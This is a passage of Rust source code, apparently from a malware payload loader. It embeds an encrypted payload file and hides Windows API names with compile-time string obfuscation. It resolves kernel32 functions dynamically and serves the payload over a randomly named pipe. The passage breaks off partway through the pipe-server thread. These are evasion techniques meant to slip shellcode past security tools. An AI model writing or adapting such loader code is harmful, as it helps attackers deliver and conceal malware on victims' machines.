()
| 7 | use obfstr::obfbytes; |
| 8 | |
| 9 | pub fn load_payload() -> Result<Vec<u8>, String> { |
| 10 | const ENCRYPT_DATA: &'static [u8] = include_bytes!("../../output/encrypt.bin"); |
| 11 | let encrypted_data = ENCRYPT_DATA.to_vec(); |
| 12 | |
| 13 | // Generate random pipe name |
| 14 | let random: u32 = rand::thread_rng().gen_range(10000..99999); |
| 15 | let pipe_name_str = format!("\\\\.\\pipe\\rsl_pipe_{}", random); |
| 16 | let pipe_name_c = CString::new(pipe_name_str.clone()).map_err(|e| e.to_string())?; |
| 17 | |
| 18 | // Start server thread |
| 19 | let server_data = encrypted_data.clone(); |
| 20 | let server_pipe_name = pipe_name_c.clone(); |
| 21 | |
| 22 | thread::spawn(move || { |
| 23 | unsafe { |
| 24 | if let Ok(kernel32) = load_library(obfbytes!(b"kernel32.dll\0").as_slice()) { |
| 25 | // Define function types |
| 26 | type CreateNamedPipeAFn = unsafe extern "system" fn(*const u8, u32, u32, u32, u32, u32, u32, *const c_void) -> isize; |
| 27 | type ConnectNamedPipeFn = unsafe extern "system" fn(isize, *mut c_void) -> i32; |
| 28 | type WriteFileFn = unsafe extern "system" fn(isize, *const u8, u32, *mut u32, *mut c_void) -> i32; |
| 29 | type DisconnectNamedPipeFn = unsafe extern "system" fn(isize) -> i32; |
| 30 | type CloseHandleFn = unsafe extern "system" fn(isize) -> i32; |
| 31 | type GetLastErrorFn = unsafe extern "system" fn() -> u32; |
| 32 | |
| 33 | // Load functions |
| 34 | let create_named_pipe_a: CreateNamedPipeAFn = std::mem::transmute(get_proc_address(kernel32, obfbytes!(b"CreateNamedPipeA\0").as_slice()).unwrap_or(ptr::null())); |
| 35 | let connect_named_pipe: ConnectNamedPipeFn = std::mem::transmute(get_proc_address(kernel32, obfbytes!(b"ConnectNamedPipe\0").as_slice()).unwrap_or(ptr::null())); |
| 36 | let write_file: WriteFileFn = std::mem::transmute(get_proc_address(kernel32, obfbytes!(b"WriteFile\0").as_slice()).unwrap_or(ptr::null())); |
| 37 | let disconnect_named_pipe: DisconnectNamedPipeFn = std::mem::transmute(get_proc_address(kernel32, obfbytes!(b"DisconnectNamedPipe\0").as_slice()).unwrap_or(ptr::null())); |
| 38 | let close_handle: CloseHandleFn = std::mem::transmute(get_proc_address(kernel32, obfbytes!(b"CloseHandle\0").as_slice()).unwrap_or(ptr::null())); |
| 39 | let get_last_error: GetLastErrorFn = std::mem::transmute(get_proc_address(kernel32, obfbytes!(b"GetLastError\0").as_slice()).unwrap_or(ptr::null())); |
| 40 | |
| 41 | if create_named_pipe_a as usize != 0 { |
| 42 | let h_pipe = create_named_pipe_a( |
| 43 | server_pipe_name.as_ptr() as *const u8, |
| 44 | 0x00000002, // PIPE_ACCESS_OUTBOUND |
| 45 | 0x00000000 | 0x00000000 | 0x00000000, // PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT (defaults are 0) |
| 46 | 1, // Max instances |
| 47 | server_data.len() as u32 + 4096, // Out buffer |
| 48 | server_data.len() as u32 + 4096, // In buffer |
| 49 | 0, // Default timeout |
| 50 | ptr::null() |
| 51 | ); |
| 52 | |
| 53 | if h_pipe != -1 { // INVALID_HANDLE_VALUE |
| 54 | let connected = connect_named_pipe(h_pipe, ptr::null_mut()); |
| 55 | if connected != 0 || get_last_error() == 535 { // ERROR_PIPE_CONNECTED |
| 56 | let mut bytes_written = 0; |
| 57 | write_file( |
| 58 | h_pipe, |
| 59 | server_data.as_ptr(), |
| 60 | server_data.len() as u32, |
| 61 | &mut bytes_written, |
| 62 | ptr::null_mut() |
| 63 | ); |
| 64 | thread::sleep(Duration::from_millis(100)); |
| 65 | } |
| 66 | disconnect_named_pipe(h_pipe); |
no test coverage detected